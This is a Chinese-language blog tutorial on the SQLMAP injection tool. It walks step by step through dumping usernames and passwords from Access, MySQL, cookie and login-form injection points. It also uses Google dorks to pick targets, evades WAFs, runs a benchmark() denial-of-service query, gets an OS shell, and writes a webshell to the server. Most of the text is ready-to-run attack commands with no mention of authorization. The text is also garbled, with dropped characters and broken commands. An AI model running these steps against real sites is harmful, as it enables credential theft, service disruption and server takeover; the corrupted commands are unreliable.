链滴

SQLMAP 注入教程

作者：General

原文链接：https://ld246.com/article/1600612028206

来源网站：链滴

<h2 id="SQLMAP">SQLMAP</h2>
<pre><code class="highlight-chroma"><span class="highlight
cl">SQLMAP是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入
洞，目前支持的数据库是MySQL，Oracle，PostgreSQL，Microsoft SQL Server，Microsoft Acces
，IBM DB2，SQLite，Firebird，Sybase，SAP MaxDB，Informix，HSQLDB和H2数据库管理系统

</code></pre>
<p>当给 SQLMAP 这么一个 url 的时候，它会：
1、判断可注入的参数
2、判断可以用那种 SQL 注入技术来注入
3、识别出哪种数据库
4、根据用户选择，读取哪些数据</p>
<h2 id="注入模式">注入模式</h2>

基于布尔的盲注，即可以根据返回页面判断条件真假的注入。
基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执
（即页面返回时间是否增加）来判断。
基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。
联合查询注入，可以使用 union 的情况下的注入。
堆查询注入，可以同时执行多条语句的执行时的注入。

<h2 id="参数解析">参数解析</h2>
<p>获取目标的方式：
目标 URL
参数：-u 或者—url
格式：http(s)://targeturl[:port]/[...]
从文本中获取多个目标扫描
参数：-m
文件中保存 url 格式如下，sqlmap 会一个一个检测
从文件中加载 HTTP 请求
参数：-r
sqlmap 可以从一个文本文件中获取 HTTP 请求，这样就可以跳过设置一些其他参数（比如 cookie，
OST 数据，等等）。</p>
<p>风险等级</p>
<pre><code class="highlight-chroma"><span class="highlight
cl">参数：--risk
   共有三个风险等
：1.默认是1 会测试大部分的测试语句，2 会增加基于事件的测试语句，3 会增加OR 语句的SQL 注
测试。（注意：在有些时候，例如在UPDATE 的语句中，注入一个OR 的测试语句，可能导致更新的
个表，可能造成很大的风险。）
用户
   参数：--current
user
   在大多数据库中
以获取到管理数据的用户。
当前数据库
   参数：--current
db
   返还当前连接的
据库。
</code></pre>
<p>刷新当前目标的会话文件</p>
<pre><code class="highlight-chroma"><span class="highlight-line"><span class="highlight
cl">参数：--flush-session

    不从log中读取描结果，让sqlmap重新对该目标发起检测。
自动选择默认配置
    参数：--batch
    从不询问用户输，使用所有默认配置。
延迟每个请求发送隔
    参数：--delay
    在每个HTTP请之间的延迟时间，单位为秒
从数据库服务器中取文件
    参数：--file-rea

    读取指定绝对路的文件并复制到本地
</code></pre>
<h2 id="SQLMAP注入教程-11种常见SQLMAP使用方法详解">SQLMAP 注入教程-11 种常见 SQLAP 使用方法详解</h2>
<h2 id="一-SQLMAP用于Access数据库注入">一、SQLMAP 用于 Access 数据库注入</h2>
(1) 猜解是否能注入
<pre><code class="highlight-chroma">win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"
Linux : .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"
</code></pre>
(2) 猜解表
<pre><code class="highlight-chroma">win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
Linux: .lmap.py -u http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
</code></pre>
(3) 根据猜解的表进行猜解表的字段(假如通过 2 得到了 admin 这个表)
<pre><code class="highlight-chroma">win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin
Linux: .lmap.py -u http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin
</code></pre>
(4) 根据字段猜解内容(假如通过 3 得到字段为 username 和 password)
<pre><code class="highlight-chroma">win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T dmin -C "username,password"
Linux: .lmap.py -u http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C
"username,[url=]B/url]password"
</code></pre>
<h2 id="二-SQLMAP用于Cookie注入">二、SQLMAP 用于 Cookie 注入</h2>
(1) cookie 注入，猜解表
<pre><code class="highlight-chroma">win : python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --tabl --level 2</code></pre>

</code></pre>
(2) 猜解字段，(通过 1 的表猜解字段，假如表为 admin)
<pre><code class="highlight-chroma"><span class="highlight
cl">win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --col
mns -T admin --level 2
</code></pre>
(3) 猜解内容
<pre><code class="highlight-chroma"><span class="highlight
cl">win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --dum
 -T admin -C "username,password" --level 2
</code></pre>
<h2 id="三-SQLMAP用于mysql中DDOS攻击-1--获取一个Shell">三、SQLMAP 用于 mysql 中 D
OS 攻击(1) 获取一个 Shell</h2>
<pre><code class="highlight-chroma"><span class="highlight
cl">win:
python sqlmap.py
-u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell
Linux:
sqlmap -u [url]htt
://192.168.159.1/news.php?id=1[/url] --sql-shell
</code></pre>
(2) 输入执行语句完成 DDOS 攻击
<pre><code class="highlight-chroma"><span class="highlight
cl">select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646
)
</code></pre>
<h2 id="四-SQLMAP用于mysql注入">四、SQLMAP 用于 mysql 注入</h2>
(1) 查找数据库
<pre><code class="highlight-chroma"><span class="highlight
cl">python sqlmap.py -u "http://www.xxx.com/link.php?id=321" --dbs
</code></pre>
(2) 通过第一步的数据库查找表(假如数据库名为 dataname)
<pre><code class="highlight-chroma"><span class="highlight
cl">python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname --tables
</code></pre>
(3) 通过 2 中的表得出列名(假如表为 table_name)
<pre><code class="highlight-chroma"><span class="highlight
cl">python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name
-columns
</code></pre>
(4) 获取字段的值(假如扫描出 id,user,password 字段)
<pre><code class="highlight-chroma"><span class="highlight
cl">python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name
C
"id,user,password"
--dump
</code></pre>
<h2 id="五-SQLMAP中post登陆框注入">五、SQLMAP 中 post 登陆框注入</h2>
(1) 其中的 search-test.txt 是通过抓包工具 burp suite 抓到的包并把数据保存为这个 txt 文件</
>
<blockquote>
我们在使用 Sqlmap 进行 post 型注入时，经常会出现请求遗漏导致注入失败的情况。这里分享
个小技巧，即结合 burpsuite 来使用 sqlmap，用这种方法进行 post 注入测试会更准确，操作起来
非常容易。

</blockquote>

浏览器打开目标地址 h www.xxx.com /Login.asp
配置 burp 代理(127.0.0.1:8080)以拦截请求
点击 login 表单的 submit 按钮
这时候 Burp 会拦截到了我们的登录 POST 请求
把这个 post 请求复制为 txt, 我这命名为 search-test.txt 然后把它放至 sqlmap 目录下
运行 sqlmap 并使用如下命令：

<pre><code class="highlight-chroma">./sqlmap.py -r search-test.txt -p tfUPass
</code></pre>
这里参数-r 是让 sqlmap 加载我们的 post 请求 rsearch-test.txt，而-p 大家应该比较熟悉，指注入用的参数。
注入点：<a href="https://ld246.com/forward?goto=http%3A%2F%2Ftestasp.vulnweb.co%2FLogin.asp" target="_blank" rel="nofollow ugc">http://testasp.vulnweb.com/Login.asp</>
几种注入方式：./sqlmap.py -r search-test.txt -p tfUPass
(2) 自动的搜索
<pre><code class="highlight-chroma">sqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url] --forms
</code></pre>
(3) 指定参数搜索
<pre><code class="highlight-chroma">sqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url] --data "tfUName=321&tfPass=321"
</code></pre>
<h2 id="六-SQLMAP中Google搜索注入">六、SQLMAP 中 Google 搜索注入</h2>
inurl 后面的语言是由自己定的
注入过程中如果选 y 是注入，如果不是选 n
<pre><code class="highlight-chroma">sqlmap -g inurl:php?id=
</code></pre>
<h2 id="七-SQLMAP中的请求延迟">七、SQLMAP 中的请求延迟</h2>
参数 --delay --safe-freq
<pre><code class="highlight-chroma">python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --delay 1
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --safe-freq 3
</code></pre>
参数
<h2 id="八-SQLMAP绕过WAF防火墙">八、SQLMAP 绕过 WAF 防火墙</h2>
注入点:http://192.168.159.1/news.php?id=1<a>
<pre><code class="highlight-chroma">sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] -v 3 --dbs --batch --tamper "space2morehash.py"
</code></pre>
space2morehash.py 中可以替换 space2hash.py 或者 base64encode.py 或者 charencode.p
都是编码方式
space2hash.py base64encode.py charencode.py

<h2 id="九-SQLMAP查看权限">九、SQLMAP 查看权限</h2>
<pre><code class="highlight-chroma"><span class="highlight
cl">sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --privileges
</code></pre>
<h2 id="十-SQLMAP伪静态注入">十、SQLMAP 伪静态注入</h2>
(1) 查找数据库
<pre><code class="highlight-chroma"><span class="highlight
cl">python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" --dbs
</code></pre>
(2) 通过 1 中的数据库查找对应的表 (假如通过 1，得到的是 dataname)
<pre><code class="highlight-chroma"><span class="highlight
cl">python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname --tabl
s
</code></pre>
(3) 通过 2 中的数据表得到字段(假如得到的是 tablename 表)
<pre><code class="highlight-chroma"><span class="highlight
cl">python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -T
tablename --colu
ns
</code></pre>
(4) 通过 3 得到字段值(假如从 3 中得到字段 id，password)
<pre><code class="highlight-chroma"><span class="highlight
cl">python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -T
tablename -C "pa
sword" --dump
</code></pre>
<h2 id="十一-SQLMAP注入点执行命令与交互写shell">十一、SQLMAP 注入点执行命令与交互写 s
ell</h2>
(1) 注入点：<a href="https://ld246.com/forward?goto=http%3A%2F%2F192.168.159.1%2
news.php%3Fid%3D1" target="_blank" rel="nofollow ugc">http://192.168.159.1/news.php?i
=1
此处采用的是 Linux 系统
<pre><code class="highlight-chroma"><span class="highlight
cl">sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --os-cmd=ipconfig
</code></pre>
出现语言的选择根据实际的测试网站选择语言
指定目标站点 D:/www/
(2) 获取 Shell
<pre><code class="highlight-chroma"><span class="highlight
cl">sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --os-shell
</code></pre>
出现语言的选择根据实际的测试网站选择语言
指定目标站点 D:/www/
输入 ipconfig/all
创建用户和删除用户
只要权限足够大，你可以输入使用任何命令。
其他命令参考下面：
从数据库中搜索字段
<pre><code class="highlight-chroma"><span class="highlight
cl">sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
</code></pre>
在 dedecms 数据库中搜索字段 admin 或者 password。
读取与写入文件
首先找需要网站的物理路径，其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 （物理路径）
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 （mssql xp_shell）
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例：
<pre><code class="highlight-chroma">sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\inclu e\1.php” –file-write “f:\webshell\1112.php”
</code></pre>
使用 shell 命令：
<pre><code class="highlight-chroma">sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
</code></pre>
接下来指定网站可写目录：
“E:\php\htdocs\dvwa”
#注：mysql 不支持列目录，仅支持读取单个文件。sqlserver 可以列目录，不能读写文件，但要一个（xp_dirtree 函数）
sqlmap 详细命令：

-is-dba 当前用户权限（是否为 root 权限）
-dbs 所有数据库
-current-db 网站当前数据库
-users 所有数据库用户
-current-user 当前数据库用户
-random-agent 构造随机 user-agent
-passwords 数据库密码
-proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理</l>
-time-sec=TIMESEC DBMS 响应的延迟时间（默认为 5 秒）

Options（选项）：

-version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出
-v VERBOSE 详细级别：0-6（默认为 1）

Target（目标）：
以下至少需要设置其中一个选项，设置目标 URL。

-d DIRECT 直接连接到数据库。
-u URL, –url=URL 目标 URL。
-l LIST 从 Burp 或 WebScarab 代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入 HTTP 请求。
-g GOOGLEDORK 处理 Google dork 的结果作为目标 URL。
-c CONFIGFILE 从 INI 配置文件中加载选项。

Request（请求）：
这些选项可以用来指定如何连接到目标 URL。

-data=DATA 通过 POST 发送的数据字符串
-cookie=COOKIE HTTP Cookie 头
-cookie-urlencode URL 编码生成的 cookie 注入
-drop-set-cookie 忽略响应的 Set – Cookie 头信息
-user-agent=AGENT 指定 HTTP User – Agent 头

-random-agent 使用随机选定的 HTTP User – Agent 头
-referer=REFERER 指定 HTTP Referer 头
-headers=HEADERS 换行分开，加入其他的 HTTP 头
-auth-type=ATYPE HTTP 身份验证类型（基本，摘要或 NTLM）(Basic, Digest or NTLM)
-auth-cred=ACRED HTTP 身份验证凭据（用户名:密码）
-auth-cert=ACERT HTTP 认证证书（key_file，cert_file）
-proxy=PROXY 使用 HTTP 代理连接到目标 URL
-proxy-cred=PCRED HTTP 代理身份验证凭据（用户名：密码）
-ignore-proxy 忽略系统默认的 HTTP 代理
-delay=DELAY 在每个 HTTP 请求之间的延迟时间，单位为秒
-timeout=TIMEOUT 等待连接超时的时间（默认为 30 秒）
-retries=RETRIES 连接超时后重新连接的时间（默认 3）
-scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
-safe-url=SAFURL 在测试过程中经常访问的 url 地址
-safe-freq=SAFREQ 两次访问之间测试请求，给出安全的 URL

Enumeration（枚举）：
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外，您还可以运行您己的 SQL 语句。

-b, –banner 检索数据库管理系统的标识
-current-user 检索数据库管理系统当前用户
-current-db 检索数据库管理系统当前数据库
-is-dba 检测 DBMS 当前用户是否 DBA
-users 枚举数据库管理系统用户
-passwords 枚举数据库管理系统用户密码哈希
-privileges 枚举数据库管理系统用户的权限
-roles 枚举数据库管理系统用户的角色
-dbs 枚举数据库管理系统数据库
-D DBname 要进行枚举的指定数据库名
-T TBLname 要进行枚举的指定数据库表（如：-T tablename –columns）
-tables 枚举的 DBMS 数据库中的表
-columns 枚举 DBMS 数据库表列
-dump 转储数据库管理系统的数据库中的表项
-dump-all 转储所有的 DBMS 数据库表中的条目
-search 搜索列（S），表（S）和/或数据库名称（S）
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
-exclude-sysdbs 枚举表时排除系统数据库
-start=LIMITSTART 第一个查询输出进入检索
-stop=LIMITSTOP 最后查询的输出进入检索
-first=FIRSTCHAR 第一个查询输出字的字符检索
-last=LASTCHAR 最后查询的输出字字符检索
-sql-query=QUERY 要执行的 SQL 语句
-sql-shell 提示交互式 SQL 的 shell

Optimization（优化）：
这些选项可用于优化 SqlMap 的性能。

-o 开启所有优化开关
–predict-output 预测常见的查询输出
–keep-alive 使用持久的 HTTP（S）连接
–null-connection 从没有实际的 HTTP 响应体中检索页面长度
–threads=THREADS 最大的 HTTP（S）请求并发量（默认为 1）

Injection（注入）：
这些选项可以用来指定测试哪些参数， 提供自定义的注入 payloads 和可选篡改脚本。

-p TESTPARAMETER 可测试的参数（S）
–dbms=DBMS 强制后端的 DBMS 为此值
–os=OS 强制后端的 DBMS 操作系统为这个值
–prefix=PREFIX 注入 payload 字符串前缀
–suffix=SUFFIX 注入 payload 字符串后缀
–tamper=TAMPER 使用给定的脚本（S）篡改注入数据

Detection（检测）：
这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容。

–level=LEVEL 执行测试的等级（1-5，默认为 1）
–risk=RISK 执行测试的风险（0-3，默认为 1）
–string=STRING 查询时有效时在页面匹配字符串
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
–text-only 仅基于在文本内容比较网页

Techniques（技巧）：
这些选项可用于调整具体的 SQL 注入测试。

–technique=TECH SQL 注入技术测试（默认 BEUST）
–time-sec=TIMESEC DBMS 响应的延迟时间（默认为 5 秒）
–union-cols=UCOLS 定列范围用于测试 UNION 查询注入
–union-char=UCHAR 用于暴力猜解列数的字符

Fingerprint（指纹）：

-f, –fingerprint 执行检查广泛的 DBMS 版本指纹

Brute force（蛮力）：
这些选项可以被用来运行蛮力检查。

–common-tables 检查存在共同表
–common-columns 检查存在共同列

User-defined function injection（用户自定义函数注入）：
这些选项可以用来创建用户自定义函数。
–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径
File system access（访问文件系统）：
这些选项可以被用来访问后端数据库管理系统的底层文件系统。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

Operating system access（操作系统访问）：
这些选项可以用于访问后端数据库管理系统的底层操作系统。

–os-cmd=OSCMD 执行操作系统命令
–os-shell 交互式的操作系统的 shell

–os-pwn 获取一个 OOB shell，meterpreter 或 VNC
–os-smbrelay 一键获取一个 OOB shell，meterpreter 或 VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径

Windows 注册表访问：
这些选项可以被用来访问后端数据库管理系统 Windows 注册表。

–reg-read 读一个 Windows 注册表项值
–reg-add 写一个 Windows 注册表项值数据
–reg-del 删除 Windows 注册表键值
–reg-key=REGKEY Windows 注册表键
–reg-value=REGVAL Windows 注册表项值
–reg-data=REGDATA Windows 注册表键值数据
–reg-type=REGTYPE Windows 注册表项值类型
这些选项可以用来设置一些一般的工作参数。
-t TRAFFICFILE 记录所有 HTTP 流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
–flush-session 刷新当前目标的会话文件
–fresh-queries 忽略在会话文件中存储的查询结果
–eta 显示每个输出的预计到达时间
–update 更新 SqlMap
–save file 保存选项到 INI 配置文件
–batch 从不询问用户输入，使用所有默认配置。

Miscellaneous（杂项）：

–beep 发现 SQL 注入时提醒
–check-payload IDS 对注入 payloads 的检测测试
–cleanup SqlMap 具体的 UDF 和表清理 DBMS
–forms 对目标 URL 的解析和测试形式
–gpage=GOOGLEPAGE 从指定的页码使用谷歌 dork 结果
–page-rank Google dork 结果显示网页排名（PR）
–parse-errors 从响应页面解析数据库管理系统的错误消息
–replicate 复制转储的数据到一个 sqlite3 数据库
–tor 使用默认的 Tor（Vidalia/ Privoxy/ Polipo）代理地址
–wizard 给初级用户的简单向导界面

相关链接：<a href="https://ld246.com/forward?goto=http%3A%2F%2Fbbs.ichunqiu.co
%2Fthread-10583-1-1.html%3Ffrom%3Dbkycold" target="_blank" rel="nofollow ugc">http:/
bbs.ichunqiu.com/thread-10583-1-1.html